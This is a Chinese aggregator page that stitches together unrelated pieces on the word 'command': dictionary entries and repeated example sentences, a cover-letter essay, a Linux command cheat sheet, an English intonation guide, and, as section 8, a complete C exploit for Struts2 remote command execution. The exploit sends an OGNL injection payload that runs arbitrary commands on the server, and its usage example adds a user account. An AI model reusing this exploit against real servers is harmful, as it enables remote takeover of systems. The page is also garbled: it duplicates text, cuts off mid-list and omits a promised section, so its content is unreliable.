Command的用处

时间：2023-02-04 04:09:22 作者：牛奶牛牛综合材料收藏本文下载本文

【导语】“牛奶牛牛”通过精心收集，向本站投稿了11篇Command的用处，下面是小编整理后的Command的用处，希望对大家有所帮助。

目录
第1篇：Command的用处第2篇：command是什么意思中文翻译第3篇：command的用法第4篇：求职信用处第5篇：command的用法和例句第6篇：order和command的区别第7篇：linux常用的command 技巧第8篇：Struts2 remote command exploit第9篇：command的第三人称单数第10篇：语调的用处第11篇：诗歌的用处诗歌

篇1：Command的用处

该文件夹内有很多DOS下的外部命令程序，这些小工具在系统崩溃对于系统的修复很有用，如Bootdisk.Bat文件可以用于在DOS命令行上创建启动盘，

Command的用处

，

篇2：command是什么意思中文翻译

command作名词的意思：

命令;指挥;掌握

command作动词的意思：

命令;指挥;掌握;博得

command的英语音标：

英 [kə'mɑːnd]

美 [kə'mænd]

command的时态：

过去分词: commanded

过去式: commanded

现在分词: commanding

command的英语例句：

1. He had authorisation from the military command to retaliate.

他得到军事指挥部授权，准备反击。

2. He didn't just command. He personally fought in several heavy battles.

他不仅仅发号施令，还身先士卒参加了几次激战。

3. I left a sergeant in command and rode forward to reconnoitre.

我留下一名中士指挥，自己策马前去侦察敌情。

4. Dividing his command, Morgan assailed both strongholds at the same time.

摩根派遣部队同时袭击了两个据点。

5. They command the respect and obedience of the armed forces.

他们要求武装部队尊重上级，服从指挥。

6. The tanker failed to respond to a command to stop.

这辆罐车没有按照命令停下来。

7. The paralysis of the leadership leaves the army without its supreme command.

领导层瘫痪导致军队没有最高指挥。

8. Whoever was waiting for them there had command of the situation.

在那边等候他们的人控制了局势。

9. She had the wealth and social standing to command respect.

她的财富和社会地位使得她足以赢得尊重。

10. The man appeared to be in complete command of himself.

那个男人看上去神态自如。

11. The naval high command's response to these developments is rather curious.

海军最高指挥部对这些进展的回应十分反常。

12. He was posted to Hong Kong as second-in-command of C Squadron.

他被派遣到香港任C中队的副队长。

13. During the second world war he served with RAF Coastal Command.

二战期间他在英国皇家空军海防总队服役。

14. The most desirable properties necessarily command astonishingly high prices.

最值得拥有的财产必然要价不菲。

15. Mr Baker would take command of the campaign.

贝克先生会负责这次运动。

篇3：command的用法

1.command的基本意思是“具有指挥权的'人或神等下令命令某人做某事”,作“指挥,统率”解时,可以作及物动词,也可以作不及物动词。作及物动词接人为宾语时,是下级和三军的下级军官以及全体士兵; 接物为宾语时,可以是船舶、舰艇,制空权、制海权等。此外,宾语还可以是人的自身控制、脾气与激情,金钱、服务的自由使用与支配等。

2.command用作动词是正式用语,表示“命令,要求”时，一般不用作进行时; 其后可接名词或代词作宾语,接带动词不定式的复合结构和that从句时,从句中的谓语动词应用虚拟式,即“(should＋)动词原形”。

3.用作不及物动词

S+～(+A)

He was a natural leader, and when he commanded, everyone obeyed.

他是个天生的领袖,他一下命令,所有的人都服从。

You have no right to command.

你没有权利指挥。

4.用作及物动词

（1）S+～+ n./pron.

I advised him to command his temper.

我劝他控制自己的脾气。

The British once commanded the seas.

英国人曾一度控制过这片海域。

（2）S+～+that-clause

He commanded that all the gates be shut.

他命令关闭所有的大门。

The general commanded that we should attack at once.

将军命令我们立即发起进攻。

5.用作名词时表示命令，指挥，掌握。

He has a good command of French.

他的法文很好。

The army is under the king's direct command.

军队由国王直接统帅。

篇4：求职信用处

个人大学生个人简历所能够提供的信息是有限的，很多求职指导人员也指出，求职大学生个人简历需要言简意赅，不建议在其中过多地阐述自己的工作经历，这样，可能一些有价值的信息就会被遗漏掉。求职信作为大学生个人简历的补充，给了求职者又一个展示自我的机会，也能够帮助hr更好地了解求职者。也许有人担心hr没有耐心看求职信，但我认为，如果你把大学生个人简历写得很好，那么你的大学生个人简历对hr就有一定的吸引力，他是愿意拨出时间来更多地了解你，这时，求职信就显得尤为重要了。总的来说，个人认为求职信不能用单纯地“有用没用”来衡量，关键是求职者能不能用好求职信这样的一个工具。

篇5：command的用法和例句

1. He had authorisation from the military command to retaliate.

他得到军事指挥部授权，准备反击。

2. He didn't just command. He personally fought in several heavy battles.

他不仅仅发号施令，还身先士卒参加了几次激战。

3. I left a sergeant in command and rode forward to reconnoitre.

我留下一名中士指挥，自己策马前去侦察敌情。

4. Dividing his command, Morgan assailed both strongholds at the same time.

摩根派遣部队同时袭击了两个据点。

5. They command the respect and obedience of the armed forces.

他们要求武装部队尊重上级，服从指挥。

6. The tanker failed to respond to a command to stop.

这辆罐车没有按照命令停下来。

7. The paralysis of the leadership leaves the army without its supreme command.

领导层瘫痪导致军队没有最高指挥。

8. Whoever was waiting for them there had command of the situation.

在那边等候他们的人控制了局势。

9. She had the wealth and social standing to command respect.

她的财富和社会地位使得她足以赢得尊重。

10. The man appeared to be in complete command of himself.

那个男人看上去神态自如。

11. The naval high command's response to these developments is rather curious.

海军最高指挥部对这些进展的回应十分反常。

12. He was posted to Hong Kong as second-in-command of C Squadron.

他被派遣到香港任C中队的副队长。

13. During the second world war he served with RAF Coastal Command.

二战期间他在英国皇家空军海防总队服役。

14. The most desirable properties necessarily command astonishingly high prices.

最值得拥有的财产必然要价不菲。

15. Mr Baker would take command of the campaign.

贝克先生会负责这次运动。

篇6：order和command的区别

order和command的单词意思

order具有名词和动词两种词性情况，order表示名词时意思是命令，顺序，规则，贸易订单，order的`动词用法分为及物动词和不及物动词两种情况，order的及物动词含义是命令，整理，订购，order的不及物动词含义是命令，订货。

command表示动词时，意思有命令，统率，俯瞰，控制等等，command作为名词使用时，意思是命令，指令。

篇7：linux常用的command 技巧

1 文件管理 # ls ls -a 列出当前目录下的所有文件，包括以.头的隐含文件

文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息

文件管理 # pwd pwd 查看当前所在目录的绝对路经

文件管理 # cd cd .. 回当前目录的上一级目录

文件管理 # cd cd - 回上一次所在的目录

文件管理 # cd cd ~ 或 cd 回当前用户的宿主目录

文件管理 # cd cd ~用户名回指定用户的宿主目录

2 文件管理 # mkdir mkdir 目录名创建一个目录

文件管理 # mkdir mkdir Cp 递归式去创建一些嵌套目录

文件管理 # rmdir Rmdir 空目录名删除一个空目录

3 文件管理 # rm rm 文件名文件名删除一个文件或多个文件

文件管理 # rm rm -rf 非空目录名递归删除一个非空目录下的一切，不让提式-f

4 文件管理 # cat cat文件名一屏查看文件内容

5 文件管理 # more more文件名分页查看文件内容

6 文件管理 # less less 文件名可控分页查看文件内容

7 文件管理 # grep grep字符文件名根据字符匹配来查看文件部分内容

8 文件管理 # mv mv 路经/文件 /经/文件移动相对路经下的文件到绝对路经下

文件管理 # mv mv 文件名新名称在当前目录下改名

9 文件管理 # cp cp /路经/文件 ./ 移动绝对路经下的文件到当前目录下

10 文件管理 # find find 路经 -name “字符串” 查找路经所在范围内满足字符串匹配的文件和目录

11 文件管理 # ln ln 源文件链接名创建当前目录源文件的硬链接

ln /home/test /usr/test1 在/usr下建立/home/test的硬链接

12 文件管理 # ln Ln -s a b 创建当前目录下a的符号链接b

13 文件管理 # touch touch file1 file2 创建两个空文件

14 磁盘管理 # df df 用于报告文件系统的总容量，使用量，剩余容量，

15 磁盘管理 # du du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。

16 磁盘管理 # fdisk fdisk -l 查看系统分区信息

17 磁盘管理 # fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区

18 磁盘管理 # mkfs.ext3 Mkfs.ext3 /dev/sdb1

为第一块SCSI硬盘的第一主分区格式化成

ext3的文件系统

mkfs.ext2 Mkfs.ext2/dev/sdb2 格式化成ext2文件系统

19 磁盘管理 # mount mount -t 文件系统类型设备路经访问路经磁盘管理 # 文件系统类型

ISO9660 光驱文件系统

vfat Fat文件系统(windows)

挂载光驱 # mount Ct iso9660 /dev/cdrom /mnt/cdrom

挂载FAT # mount Ct vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区

17 磁盘管理 # Umount /mnt/cdrom 卸载/mnt/cdrom为空

18 文件权限 # chmod chmod u+s file 为file的属主加上特殊权限

chmod g+r file 为file的属组加上读权限

chmod o+w file 为file的其它用户加上写权限

chmod a-x file 为file的所有用户减去执行权限

chmod 765 file 为file的属主设为完全权限，属组设成读写权，其它用户具有读和执心权限

19 文件权限 # chown chown root /home 把/home的属主改成root用户

20 文件权限 # chgrp chgrp root /home 把/home的属组改成root组

21 打印管理 # redhat-config-printer-tui 进入安装打印机界面

22 打印管理 # lp lp Cd hptr file 打印file到hptr的打印机上

23 打印管理 # lpq Lpq CP 打印机名查看打印机的状态

24 打印管理 # lprm Lprm CP 打印机名 a 删除打印机内的打印作业

25 打印管理 # disable Disable Cr “changing paper” HPtr 禁用打印机并提示原因

26 打印管理 # enable Enable HPtr 重新启用被禁用的

27 用户管理 # useradd Useradd 创建一个新的用户

28 用户管理 # groupadd Groupadd 组名创建一个新的组

29 用户管理 # passwd Passwd 用户名为用户创建密码

30 用户管理 # Passwd -d Passwd -d用户名删除用户密码也能登陆

31 用户管理 # Passwd -l Passwd -l用户名锁定账号密码

32 用户管理 # Passwd -u Passwd -u用户名解锁账号密码

33 用户管理 # Passwd -S Passwd -S用户名查询账号密码

34 用户管理 # Usermod -l Usermod -l 新用户名老用户名为用户改名

35 用户管理 # Usermod -L Usermod -L 要锁定用户名锁定用户登陆

36 用户管理 # Usermod -U Usermod CU解锁用户名解锁用户登陆

37 用户管理 # Usermod -u Usermod Cu 501用户名改变用户UID

38 用户管理 # Userdel UserdelCr 用户名删除用户一切

39 用户管理 # Groupmod -n Groupmod Cn新用户名老用户名为组改名

40 用户管理 # Groupmod -g Groupmod Cg 501 组名改变组GID

41 用户管理 # groupdel Groupdel组名先应删它的用户删除组

42 用

篇8：Struts2 remote command exploit

#include

#pragma comment(lib, “ws2_32.lib”)

SOCKET sock;

struct sockaddr_in client;

WSADATA wsa;

struct hostent *host;

int InitSocket(char *Host,unsigned int Port)

{

if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)

{

printf(“[-]WSAStartup Error!\\r\\n”);

return 0;

}

try

{

host = gethostbyname(Host);

memcpy(&client.sin_addr.S_un.S_addr,host->h_addr_list[0],sizeof(host->h_addr_list[0]));

client.sin_family = AF_INET;

client.sin_port = htons(Port);

}catch(...)

{

printf(“[-]socket_inaddr init error!\\r\\n”);

return 0;

}

sock = socket(AF_INET,SOCK_STREAM,0);

if(sock == SOCKET_ERROR)

{

printf(“[-]socket create error!\\r\\n”);

WSACleanup;

return 0;

}

printf(“[+]Socket Init success!\\r\\n”);

return 1;

}

int ConnectServer(char *Host,unsigned int Port)

{

printf(“Init socket...\\r\\n”);

if(!InitSocket(Host,Port)) return 0;

printf(“Connect the Server...\\r\\n”);

if(connect(sock,(struct sockaddr *)&client,sizeof(client)) == SOCKET_ERROR)

{

printf(“[-]Connect Error!\\r\\n”);

closesocket(sock);

WSACleanup();

return 0;

}

printf(“[+]Connect successfull!\\r\\n”);

return 1;

}

char *HttpGet(char *Host,unsigned int Port,char *Req)

{

int size;

char http_header[] = “GET /%s HTTP/1.1\\r\\n”

“Host: %s\\r\\n”

“User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\\r\\n”

“Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n”

“Accept-Language: zh-cn,zh;q=0.5\\r\\n”

“Accept-Encoding: gzip,deflate\\r\\n”

“Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\\r\\n”

“Connection: Closed\\r\\n\\r\\n”;

char req_buf[4096],recvbuf[20480],*ret;

sprintf(req_buf,http_header,Req,Host);

if(!ConnectServer(Host,Port)) exit(0);

printf(“Send payload:\\r\\n%s\\r\\n”,req_buf);

size = send(sock,req_buf,strlen(req_buf),0);

printf(“[+]send payload %d bytes!\\r\\n”,size);

size = recv(sock,recvbuf,sizeof(recvbuf),0);

printf(“[+]Response:\\r\\n%s\\r\\n”,recvbuf);

ret = size >0 ? recvbuf : NULL;

closesocket(sock);

WSACleanup();

return ret;

}

void usage()

{

printf(“\\t\\tStruts2 Remote Command Exploit\\r\\n\\t\\t\\t\\t\\t\\t\\tconcat:ylbhz@hotmail.com\\r\\n”);

printf(“Usage: struts2exp

\\r\\n”);

printf(“Example: struts2exp localhost 8080 struts2Test/index.action \\”net user ylbhz 123 /add\\“\\r\\n\\r\\n”);

exit(-1);

}

char *handlecmd(char *cmd) //处理cmd命令，替换空格为+

{

char *ret = (char*)malloc(sizeof(char)*256);

int i = 0;

char tmp;

while(tmp = cmd[i])

{

if(tmp == ' ')

ret[i] = '+';

else

ret[i] = tmp;

i ++;

}

ret[i] = NULL;

return ret;

}

void main(int argc,char *argv[])

{

if(argc != 5) usage();

unsigned int Port = (unsigned int)atoi(argv[2]);

if(Port <= 0) usage();

char *Target = argv[1];

char *ReqFile = argv[3];

char *cmd = argv[4];

char payload[] = “%s?('\\\\u0023_memberAccess[\\\\'allowStaticMethodAccess\\\\']')(meh)=true&(aaa)(('\\\\u0023context[\\\\'xwork.MethodAccessor.denyMethodExecution\\\\']\\\\u003d\\\\u0023foo')(\\\\u0023foo\\\\u003dnew+java.lang.Boolean(\\”false\\“)))&(asdf)(('\\\\u0023rt.exec(\\”%s\\“)')(\\\\u0023rt\\\\u003d@java.lang.Runtime@getRuntime()))=1”;

char sendbuf[2048];

sprintf(sendbuf,payload,ReqFile,handlecmd(cmd));

HttpGet(Target,Port,sendbuf);

}

篇9：command的第三人称单数

commands

command的用法：

command的第三人称单数1：command的基本意思是“具有指挥权的人或神等下令命令某人做某事”,作“指挥,统率”解时,可以作及物动词,也可以作不及物动词。作及物动词接人为宾语时,是下级和三军的下级军官以及全体士兵; 接物为宾语时,可以是船舶、舰艇,制空权、制海权等。此外,宾语还可以是人的自身控制、脾气与激情,金钱、服务的自由使用与支配等。

command的第三人称单数2：command用作动词是正式用语,表示“命令,要求”时，一般不用作进行时; 其后可接名词或代词作宾语,接带动词不定式的复合结构和that从句时,从句中的谓语动词应用虚拟式,即“(should+)动词原形”。

篇10：语调的用处

很多人都以为只要听懂了每个单词，就算听明白了。但实际的情况是“只想着听懂单词，就可以完事大吉，是远远不够的”，因为人们在说话的时候，往往伴随着一些语调上的变化，这些不同的语调淋漓尽致地表现了人们怀疑、肯定、激动、感叹等等众多情感的变化。比如说“你没听清楚别人的讲话，希望对方再重复一下”，就要说“升调”的I beg your pardon。但是如果“你不小心踩到了别人的脚上”，就要用到“降凋”的I beg your pardon. 看来同样的一句话，由于“语调”的不同，意思也就有所差别。所以如果你还不太清楚“英语语调”的知识，就和我一起研究研究它们的妙用吧。

首先要知道英语主要有三种语调，分别是升调，降调和降升调。

先说说“升调”，它一般表示“不确定” “话还没有说完”或者“礼貌” 。经常用于下面几类句型中：

（1）一般疑问句（Yes-no questions） Is he coming tonight? Have you got the tickets?

（2）反问句（Statements intended as questions） You are definitely coming? You like it?

（3）表示安慰或鼓励（Statements intended to be soothing or encouraging.） Come with us.

（4）重复（Repetition questions） When did you come?

让我们再来看看“降调”，说话时用“降凋”，常常给人一种“完结”的印象。所以能使用降调的句子有以下几类：

（1）陈述句（Ordinary statements） You came on Tuesday. I'd like some tea.

（2）特殊疑问句（Wh- questions） When did you come? What's the time?

（3）带命令口吻的祈使句（Imperative sentences ( strong commands) Put it over there! Go and find it!

（4）感叹句Exclamatory sentences What an awful film that was!

如果要表示出“说话人改变主意，或话外有话之意”，就可以让“降升调”大显身手了。它主要出现在下面的句式中：

（1）含有对比的陈述句Statements where contrast is implied. You can come on Tuesday but not Monday. He doesn't want it but his brother may.

（2）含保留意见的陈述句Statements which imply reservation I know his face. I like the colour of your dress.

（3）否认或矛盾Statements which show disagreement or contradiction --I can't do it. ---You can. --She arrived on Monday. ---On Tuesday.

（4）警告Warning Be careful. Don't be late.

上面这些关于语调的基本知识虽然总结起来 “条条框框”的，但在实际生活中，你常常会自觉地运用好各种语调来表达你的情感，比如说你想让淘气的孩子跟着你出去，就会用“降凋”的肯定的语气说到“Come with me!”；如果你还没有确定是否对方和你出去吃饭，就可以用“升调”问到“Come with me?”，表示 “和我出去怎么样啊”这种“试探性”的语气；细细体会起来，“什么场合用什么语调”还真是很自然的事情。今后在看“美国原版影片”的时候，多多注意一下影片中人物的语音语调，模仿几次之后，你就可以灵活运用了！